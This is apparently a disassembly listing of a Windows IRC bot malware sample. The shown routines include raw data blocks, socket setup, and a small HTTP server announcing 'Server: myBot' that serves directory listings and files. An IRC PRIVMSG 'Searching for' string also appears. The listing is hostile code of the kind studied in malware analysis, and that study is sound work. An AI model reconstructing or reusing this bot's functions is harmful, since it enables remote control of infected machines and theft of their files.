0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax call near ptr 71AB1746h nop mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2680000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 26903FCh test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2740000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 26A047Ah nop push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 271092Ch nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2750AD6h push esi mov [ebp+var_330], eax nop call near ptr 2670858h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 2690448h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 26903FCh nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C call near ptr 2690DCCh nop push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset 